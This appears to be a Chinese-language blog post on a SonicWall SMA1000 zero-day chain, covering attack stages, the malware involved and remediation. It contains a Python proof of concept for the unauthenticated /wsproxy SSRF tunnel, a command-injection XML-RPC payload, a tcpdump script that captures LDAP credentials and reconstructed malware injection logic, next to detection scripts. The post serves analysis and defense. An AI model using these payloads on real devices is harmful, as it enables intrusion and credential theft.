Announcement

👇Official Account👇

Welcome to join the group & private message

Article first/tail QR code

Skip to content

SonicWall SMA1000 KNUCKLEBALL 零日攻击链深度拆解:Volexity UTA0533 从 SSRF 到 root 的完整技术链

2026 年 7 月 17 日,安全公司 Volexity 发布了一篇改变行业认知的报告:一个此前未知的威胁行为者 UTA0533,自 6 月 22 日起就利用两个零日漏洞完全接管了 SonicWall SMA1000 系列 VPN 设备——比 SonicWall 7 月 14 日发布补丁早了整整 3 周。攻击者不仅获取了 root 权限,还部署了定制恶意软件 KNUCKLEBALL,注入了两个 Java 载荷(Suo5 代理 + ORANGETAIL Webshell),并通过 tcpdump 窃取了未加密的 LDAP 凭证。

这不是一次自动化扫描。Volexity 发现攻击者在横向移动时泄露了 Kali Linux 主机名——这是一次手动键盘入侵

一、攻击链全景

1.1 两个 CVE 的组合

CVE漏洞类型CVSS认证要求影响组件
CVE-2026-15409未授权 SSRF/WebSocket 隧道绕过10.0无需认证SMA WorkPlace /wsproxy
CVE-2026-15410命令注入/路径穿越提权7.2需本地访问SMA Appliance Management Console

单独看 CVE-2026-15410 需要"本地访问",似乎影响有限。但当它与 CVE-2026-15409 的 SSRF 组合后,远程攻击者可以通过 WebSocket 隧道"虚拟地"到达 localhost 服务,将"本地"漏洞变成"远程"漏洞。

1.2 完整攻击流程

攻击链(UTA0533 实际操作流程):
  Stage 1: 未授权 WebSocket 隧道建立(CVE-2026-15409)
    ├─ 发送特定 HTTP GET 到 /wsproxy
    ├─ User-Agent: SMA Connect Agent
    ├─ bmID 参数以 -3389 开头
    └─ 无需任何 SMA session cookie → 建立 TCP 隧道到 localhost
  
  Stage 2: 访问内部服务
    ├─ 127.0.0.1:1051 → Erlang Port Mapper Daemon (EPMD)
    ├─ 127.0.0.1:1050 → CouchDB Erlang distribution
    ├─ 127.0.0.1:8188 → SMA Control Service (XML-RPC over TLS)
    └─ EPMD names 查询返回 couchdb@127.0.0.1:1050
  
  Stage 3: CouchDB 默认凭据利用
    ├─ CouchDB 使用默认凭据(无密码或弱密码)
    ├─ 读取 CouchDB 中的 Hardware ID
    └─ 获取设备唯一标识 → 用于后续提权
  
  Stage 4: SMA Control Service 命令注入(CVE-2026-15410)
    ├─ 通过 /wsproxy 隧道访问 127.0.0.1:8188
    ├─ sysCtrl endpoint 存在命令注入漏洞
    ├─ 利用热修复移除工具的路径穿越功能
    └─ 以 root 权限执行恶意脚本
  
  Stage 5: 恶意软件部署
    ├─ KNUCKLEBALL(Python 加载器)
    ├─ → 注入 Suo5(开源 HTTP 代理)到 SonicWall Java 进程
    ├─ → 注入 ORANGETAIL(Behinder-like Webshell)到同一进程
    ├─ ROOTRUN(setuid 二进制文件)→ 权限提升保底
    └─ 修改 /etc/init.d/workplace 启动脚本 → 重启持久化
  
  Stage 6: 凭证窃取与横向移动
    ├─ tcpdump 捕获未加密 LDAP 流量
    ├─ 提取用户名/密码 → 横移至内网其他系统
    └─ 尝试使用 Impacket SecretDump + DCSync → 失败

1.3 时间线

时间事件
6 月 22 日UTA0533 最早的可疑活动迹象(Volexity 发现)
6 月 30 日/tmp 中出现提权相关文件,含 CVE-2026-15410 exploit
7 月 2 日第二台设备重启,清除了内存驻留后门
7 月 14 日SonicWall 发布 hotfix(12.4.3-03453 / 12.5.0-02835)
7 月 14 日CISA 将两个 CVE 加入 KEV 目录
7 月 17 日联邦机构修补 deadline
7 月 17 日Volexity 发布完整分析报告
同期Huntress 确认 7 个客户受影响;INC 勒索软件也参与利用

二、CVE-2026-15409:未授权 SSRF 深度技术拆解

2.1 /wsproxy 的设计意图

SonicWall SMA1000 的 WorkPlace 门户有一个 /wsproxy 端点,设计目的是让 SMA Connect Agent 客户端通过 WebSocket 隧道连接到内网 SSH 服务:

正常流程:
  用户 → SMA WorkPlace → /wsproxy → 建立到内网 SSH 服务器的隧道
  需要:
    ├─ 有效的 SMA session cookie(已认证用户)
    ├─ 正确的 bmID 参数
    └─ 目标主机/端口在用户允许范围内

2.2 绕过机制

Volexity 发现了两个绕过:

绕过 1:无需认证
  /wsproxy 不检查 SMA session cookie
  → 任何人都可以发送 WebSocket 连接请求

绕过 2:bmID 参数中的隐藏功能
  当 bmID 以 -3389 开头时(如 bmID=-3389XXXXX)
  /wsproxy 进入一个未文档化的模式:
    ├─ 不限制目标主机(可以是 0.0.0.0 或 127.0.0.1)
    ├─ 不限制目标端口
    └─ 不验证用户是否有权限访问目标

  这个 -3389 功能在 SonicWall 官方文档中完全没有记录
  Rapid7 通过逆向分析才发现了这个隐藏模式

2.3 PoC 请求构造

python
# CVE-2026-15409 最小 PoC
import websocket
import ssl

# 构造绕过请求
ws_url = f"wss://{target_host}/wsproxy?bmID=-3389&serviceType=SSH&host=127.0.0.1&port=8188"

# 关键:User-Agent 必须是 SMA Connect Agent
headers = {
    "User-Agent": "SMA Connect Agent",
    "Sec-WebSocket-Protocol": "binary"
}

# 无需任何 cookie 或认证信息
ws = websocket.WebSocket(sslopt={"cert_reqs": ssl.CERT_NONE})
ws.connect(ws_url, header=headers)

# 连接成功后,ws 变成了一个到 127.0.0.1:8188 的 TCP 隧道
# 可以直接发送/接收原始 TCP 数据

2.4 为什么 CVSS 10.0?

CVSS 3.1 评分:10.0(Critical)
  Attack Vector: Network(远程攻击)
  Attack Complexity: Low(无需复杂操作)
  Privileges Required: None(无需认证)
  User Interaction: None(无需用户参与)
  Scope: Changed(影响跨信任边界)
  Impact: High(完全读写执行)
  
10.0 是 CVSS 的最高分——意味着这是一个"任何人、任何地方、
无需认证、无需技巧就能利用的远程完全控制漏洞"

三、CVE-2026-15410:命令注入与路径穿越提权

3.1 SMA Control Service 的漏洞

通过 CVE-2026-15409 的隧道到达 127.0.0.1:8188 后,攻击者可以访问 SMA Control Service 的 sysCtrl endpoint:

xml
<!-- 正常 XML-RPC 请求 -->
<methodCall>
  <methodName>sysCtrl.hotfixStatus</methodName>
  <params>
    <param><value><string>12.4.3-03453</string></value></param>
  </params>
</methodCall>

<!-- 恶意请求:命令注入 -->
<methodCall>
  <methodName>sysCtrl.removeHotfix</methodName>
  <params>
    <!-- 路径穿越 + 命令注入 -->
    <param><value><string>../../tmp/malicious_script.sh;id</string></value></param>
  </params>
</methodCall>

3.2 提权路径

提权链:
  1. 通过 SSRF 隧道到达 SMA Control Service(127.0.0.1:8188)
  2. 利用默认凭据访问 CouchDB → 读取 Hardware ID
  3. 利用 hotfix remove 工具的路径穿越功能
  4. 构造路径穿越字符串:../../tmp/payload
  5. SMA Control Service 以 root 权限运行
  6. 路径穿越的脚本被 root 执行 → root 权限获取
  
核心逻辑:
  hotfix 移除工具 = 以 root 权限运行的系统管理命令
  路径穿越 = 让这个命令执行你指定的任何文件
  组合 = root 执行恶意脚本

四、恶意软件深度分析

4.1 KNUCKLEBALL(加载器)

KNUCKLEBALL 是一个 Python 编写的加载器,核心功能是将 Java 载荷注入到合法的 SonicWall 进程

python
# KNUCKLEBALL 的核心逻辑(逆向还原)
# 1. 识别 SonicWall 合法 Java 进程
target_process = find_process_by_name("com.sonicwall.workplace")

# 2. 注入 Suo5 代理载荷
inject_java_payload(target_process, SUO5_JAR_BYTES)

# 3. 注入 ORANGETAIL Webshell 载荷
inject_java_payload(target_process, ORANGETAIL_JAR_BYTES)

# 4. 添加启动脚本修改 → 重启后自动重新注入
modify_init_script("/etc/init.d/workplace",
    append_line="python3 /usr/lib/python3.11/site-packages/deploy_new.py")

KNUCKLEBALL 选择注入合法进程而非启动新进程,这是一个高级隐蔽策略

  • 进程列表中不会出现未知进程名
  • 安全团队检查进程时只会看到 SonicWall 自家的 Java 进程
  • 载荷与合法进程共享内存空间,更难被隔离检测

4.2 Suo5(HTTP 代理)

Suo5 是一个开源的 HTTP 代理工具(GitHub 上可获取),被攻击者直接拿来用作内网代理:

Suo5 的作用:
  ├─ 在被控 SMA 设备上建立 HTTP 代理
  ├─ 攻击者通过 Internet → SMA → Suo5 → 内网
  ├─ 将 SMA 设备变成攻击者进入内网的跳板
  └─ 代理流量深达内网任何可达的系统

Suo5 的隐蔽设计:它通过修改 NGINX Unit 配置文件来路由流量,使得外部请求看起来像是正常的 SMA WorkPlace 请求:

json
// /var/lib/unit/conf.json 修改
{
  "routes": {
    "/__api__/login": {
      "action": {
        "proxy": "http://127.0.0.1:8085"  // → Suo5 代理
      }
    },
    "/__api__/logout": {
      "action": {
        "proxy": "http://127.0.0.1:8085"  // → ORANGETAIL Webshell
      }
    }
  }
}

4.3 ORANGETAIL(Webshell)

ORANGETAIL 是基于冰蝎(Behinder)的定制 Webshell,具有极强的隐蔽性:

python
# ORANGETAIL 的隐蔽机制
def handle_request(request):
    # 检查 User-Agent 是否匹配特定值
    if request.headers.get("User-Agent") != EXPECTED_UA:
        # 不匹配 → 返回 404,假装这个路径不存在
        return HTTP_404_NOT_FOUND
    
    # 匹配 → 执行 Webshell 命令
    # 对其他所有请求者来说,这个 URL 就是 404
    # 只有知道特定 User-Agent 的攻击者才能访问
    return execute_command(request.body)

这是一个极其聪明的隐蔽策略:当安全团队扫描这台设备时,所有 Webshell URL 都返回 404——看起来像正常的路由配置。只有携带特定 User-Agent 的攻击者请求才会触发真正的 Webshell 功能。

4.4 ROOTRUN(权限提升保底)

ROOTRUN 是一个 setuid 二进制文件,确保即使攻击者丢失了其他提权路径,仍然可以通过 ROOTRUN 获取 root:

ROOTRUN 的设计逻辑:
  ├─ 编译为 setuid root 二进制
  ├─ 任何本地用户执行 ROOTRUN → 立即获得 root shell
  ├─ 不依赖任何特定漏洞 → 永久性提权保障
  └─ 即使 SonicWall 修补了 CVE,ROOTRUN 仍然有效

五、凭证窃取与横向移动

5.1 LDAP 流量捕获

攻击者在第二台 SMA 设备上部署了 tcpdump 捕获脚本:

bash
# /var/tmp/lib.sh — 攻击者的 tcpdump 脚本
nohup tcpdump -i any \
  'tcp port 389 or tcp port 636' \
  -w /var/tmp/ldap_capture \
  -C 100 -W 10 &
# -C 100: 每 100MB 创建新文件
# -W 10: 最多 10 个轮转文件(总共 1GB 捕获容量)

为什么 LDAP?因为 SMA 设备经常与内网的 Active Directory 做 LDAP 认证,而很多部署中 LDAP 流量是未加密的(端口 389 而非 636/LDAPS)。这意味着用户名和密码在 SMA 与 AD 之间以明文传输——tcpdump 直接捕获即可。

5.2 横向移动尝试

横向移动路径:
  SMA 设备(root)→ 窃取 LDAP 凭证 → 尝试横移至内网
  
  ├─ 成功:通过 Suo5 代理到达内网服务器
  ├─ 使用窃取的凭证登录 AD 域系统
  ├─ 尝试 Impacket SecretDump → 提取更多 Windows 凭证
  ├─ 尝试 DCSync → 从 Active Directory 提取域密码哈希
  └─ Volexity 评估:横移"不太成功"——攻击者到达了目标但未完全控制
  
  ── 同期 INC 勒索软件也在利用这些 CVE,但目标不同
      ├─ UTA0533: 间谍/窃密导向(定制恶意软件、LDAP 捕获、有限横移)
      ├─ INC Ransomware: 勒索导向(已知 RaaS 组织、双敲诈模式)
      └─ 两个行为者独立利用同一组 CVE → 说明漏洞利用门槛极低

六、INC 勒索软件的同期利用

6.1 两个行为者,同一组漏洞

Rapid7 和 Huntress 的调查显示,除了 Volexity 追踪的 UTA0533 之外,INC 勒索软件也在同时利用 CVE-2026-15409/15410:

INC Ransomware 特征:
  ├─ 勒索软件即服务(RaaS)组织
  ├─ 双敲诈策略:加密数据 + 威胁公开泄露
  ├─ 通过 ExpressVPN/Mullvad 出口节点路由(与 UTA0533 相同)
  ├─ 使用 Impacket SecretDump 和 DCSync → 与 UTA0533 相同的工具
  └─ Huntress 确认至少 7 个客户受影响

两个独立的行为者利用同一组刚披露的零日漏洞,说明漏洞利用门槛极低——不需要任何高级技术

6.2 攻击者 IP 特征

IP 地址特征:
  ├─ 200+ IP 地址
  ├─ 注册在 F.N.S. Holdings Ltd(VPN 托管提供商)
  ├─ 使用 ExpressVPN 和 Mullvad 出口节点
  └─ 横移中泄露 Kali Linux 主机名 → 手动键盘入侵标志

七、防御与应急指南

7.1 立即修补

bash
# SonicWall hotfix 安装
# 登录 SMA1000 管理界面 → System → Firmware
# 升级至以下版本之一:
#   - 12.4.3-03453 及更高
#   - 12.5.0-02835 及更高

# 注意:仅打补丁不足以完全消除风险
# 原因:攻击者已经窃取了凭证和 MFA seed
# → 需要额外的清理步骤

7.2 入侵排查清单

bash
# 1. 检查 /etc/init.d/workplace 是否被修改
grep "python3" /etc/init.d/workplace
# 如果发现 python3 /usr/lib/python3.11/site-packages/deploy_new.py
# → 被 KNUCKLEBALL 修改

# 2. 检查 /var/lib/unit/conf.json 是否有异常路由
cat /var/lib/unit/conf.json | python3 -c "
import json, sys
conf = json.load(sys.stdin)
for route in conf.get('routes', {}):
    action = conf['routes'][route].get('action', {})
    if 'proxy' in action and '127.0.0.1:8085' in action.get('proxy', ''):
        print(f'SUSPICIOUS ROUTE: {route} → {action}')
"

# 3. 检查是否有 ROOTRUN setuid 二进制
find / -perm -4000 -name "*root*" -type f 2>/dev/null

# 4. 检查 /tmp 和 /var/tmp 中的异常文件
ls -la /tmp.* /var/tmp.* 2>/dev/null

# 5. 检查 tcpdump 是否正在运行
ps aux | grep tcpdump

7.3 全面清理步骤

如果确认被入侵:
  1. 立即隔离 SMA 设备(断开内外网连接)
  2. 重新镜像设备(不要只打补丁——rootkit 可能残留)
  3. 重置所有用户和管理员密码
  4. 轮换所有 TOTP/MFA 令牌种子
  5. 检查 LDAP 日志——寻找异常认证
  6. 排查内网其他系统是否被横移影响
  7. 升级到最新 firmware
  8. 启用 LDAPS(加密 LDAP)而非明文 LDAP
  9. 实施 ZTNA 替代传统 VPN(Cloudflare Access / Zsceler / Tailscale)

7.4 长期架构改进

远程访问设备 = 头号攻击目标(2024-2026 所有重大 zero-day 事件验证):
  ├─ 2024: Ivanti VPN zero-day(CISA KEV)
  ├─ 2025: Fortinet FortiOS zero-day
  ├─ 2025: Cisco ASA zero-day
  ├─ 2026: SonicWall SMA1000 zero-day
  └─ 共同特征:VPN/远程访问设备暴露在公网 → root 权限沦陷 → 内网横移
  
防御范式转变:
  传统 VPN → 零信任网络访问(ZTNA)
  ├─ 不暴露设备管理界面到公网
  ├─ 每次访问都做身份验证 + 设备健康检查
  ├─ 最小权限原则:只授权访问特定应用而非整个网络
  └─ 即便设备被攻破,攻击者也只能到达已授权的特定应用

八、PoC 与复现(安全研究用途)

8.1 CVE-2026-15409 最小 PoC

python
# 仅用于安全研究和授权测试
# 不要在未经授权的系统上使用

import requests
import websocket
import ssl

def test_wsproxy_bypass(target: str, port: int = 443):
    """测试 /wsproxy 是否存在未授权 SSRF"""
    
    # 第一步:发送 HTTP 请求检查 /wsproxy 是否可达
    url = f"https://{target}:{port}/wsproxy"
    params = {
        "bmID": "-3389",      # 关键绕过参数
        "serviceType": "SSH",
        "host": "127.0.0.1",  # SSRF 目标
        "port": "8188"        # SMA Control Service
    }
    headers = {
        "User-Agent": "SMA Connect Agent",  # 必须使用此 UA
        "Sec-WebSocket-Protocol": "binary"
    }
    
    try:
        # 尝试建立 WebSocket 连接
        ws_url = f"wss://{target}:{port}/wsproxy?" + \
                 "&".join(f"{k}={v}" for k, v in params.items())
        
        ws = websocket.WebSocket(sslopt={"cert_reqs": ssl.CERT_NONE})
        ws.connect(ws_url, header=headers)
        
        # 如果连接成功 → SSRF 绕过存在
        # 可以通过 ws 对象发送/接收到 127.0.0.1:8188 的数据
        print(f"[!] SSRF bypass confirmed: {target}")
        
        # 尝试读取 EPMD names
        ws.send("\x00\x00\x00\x01n")  # EPMD names request
        result = ws.recv()
        if "couchdb" in result.decode(errors='ignore'):
            print(f"[!] CouchDB accessible via SSRF tunnel")
        
        ws.close()
        return True
        
    except Exception as e:
        print(f"[-] No SSRF bypass: {e}")
        return False

# 使用示例
if __name__ == "__main__":
    # 仅在授权测试环境使用
    test_wsproxy_bypass("192.168.1.100")

8.2 检测脚本

python
# 企业环境快速检测脚本
import subprocess
import sys

def detect_sonicwall_compromise():
    """检测 SonicWall SMA1000 是否被 UTA0533/INC 利用"""
    indicators = {
        # KNUCKLEBALL 特征
        "init_script_modified": False,
        "suspicious_unit_routes": False,
        "rootrun_binary": False,
        "tcpdump_running": False,
        "tmp_artifacts": False
    }
    
    # 检查 init script
    result = subprocess.run(
        ["grep", "python3", "/etc/init.d/workplace"],
        capture_output=True, text=True
    )
    if "deploy_new.py" in result.stdout:
        indicators["init_script_modified"] = True
    
    # 检查 NGINX Unit 配置
    import json
    try:
        with open("/var/lib/unit/conf.json") as f:
            conf = json.load(f)
        for route, config in conf.get("routes", {}).items():
            action = config.get("action", {})
            proxy = action.get("proxy", "")
            if "127.0.0.1:8085" in proxy:
                indicators["suspicious_unit_routes"] = True
    except:
        pass
    
    # 检查 setuid ROOTRUN
    result = subprocess.run(
        ["find", "/", "-perm", "-4000", "-name", "*root*", "-type", "f"],
        capture_output=True, text=True
    )
    if result.stdout:
        indicators["rootrun_binary"] = True
    
    # 检查 tcpdump
    result = subprocess.run(
        ["ps", "aux"], capture_output=True, text=True
    )
    if "tcpdump" in result.stdout:
        indicators["tcpdump_running"] = True
    
    # 输出结果
    compromised = any(indicators.values())
    if compromised:
        print("[!] COMPROMISE DETECTED — indicators:")
        for k, v in indicators.items():
            if v:
                print(f"    - {k}")
        print("[!] Immediate actions required:")
        print("    1. Isolate device")
        print("    2. Re-image firmware")
        print("    3. Reset all credentials")
        print("    4. Rotate MFA seeds")
    else:
        print("[+] No compromise indicators found")
    
    return compromised

detect_sonicwall_compromise()

九、影响范围与行业意义

9.1 受影响型号

受影响 SonicWall SMA1000 型号:
  ├─ SMA 6210
  ├─ SMA 7210
  ├─ SMA 8200v
  └─ 受影响分支:12.4.3 和 12.5.0
  
不受影响:
  ├─ SMA100 系列(不同产品线)
  ├─ SonicWall 防火墙上的 SSL-VPN(不同组件)
  └─ 其他 SonicWall 产品

9.2 为什么 VPN 设备总是头号目标

VPN 设备的固有脆弱性:
  1. 暴露在公网 → 任何人都可以尝试攻击
  2. 管理界面也暴露 → 一个漏洞就完全接管
  3. root 权限运行 → 漏洞利用后获得最高权限
  4. 存储凭证 → 缓存的 VPN 密码、MFA 种子、LDAP 连接
  5. 网络边界位置 → 一旦沦陷,内网门户大开
  6. 闭源固件 → 无法做代码审计,只能黑盒测试
  
SonicWall 不是个案。2024-2026 所有重大 zero-day 都涉及远程访问设备:
  ├─ Ivanti VPN (2024)
  ├─ Fortinet FortiOS (2025)
  ├─ Cisco ASA (2025)
  └─ SonicWall SMA1000 (2026)

9.3 两个行为者利用同一漏洞的意义

UTA0533 和 INC 勒索软件同时独立利用同一组零日漏洞,说明:

  1. 漏洞利用门槛极低:不需要高级技术,Python PoC 已公开,Metasploit 模块正在开发
  2. 零日市场竞争:零日漏洞不再是单一行为者的专属武器,而是多个攻击者可以同时利用的"公共"资源
  3. 修补窗口极其短:从 Volexity 发现到 SonicWall 发布补丁只有 ~3 周,但攻击者从 6 月 22 日就开始利用

十、参考资料


SonicWall SMA1000 的零日攻击链再次验证了一个残酷的事实:VPN 设备是网络边界上最脆弱的环节。CVE-2026-15409 的 CVSS 10.0 评分意味着任何人无需认证就能建立到 localhost 的隧道,而 CVE-2026-15410 的命令注入将这个隧道变成了 root 权限。UTA0533 的 KNUCKLEBALL/ORANGETAIL 恶意软件展示了极高的隐蔽性——注入合法进程、User-Agent 验证 Webshell、setuid 权限保底。INC 勒索软件的同期利用则说明零日漏洞已经进入"多人竞争"阶段。对于企业而言,修补是必要但不充分的——被入侵的设备必须重新镜像、凭证必须重置、架构必须向 ZTNA 转型。

上次更新于: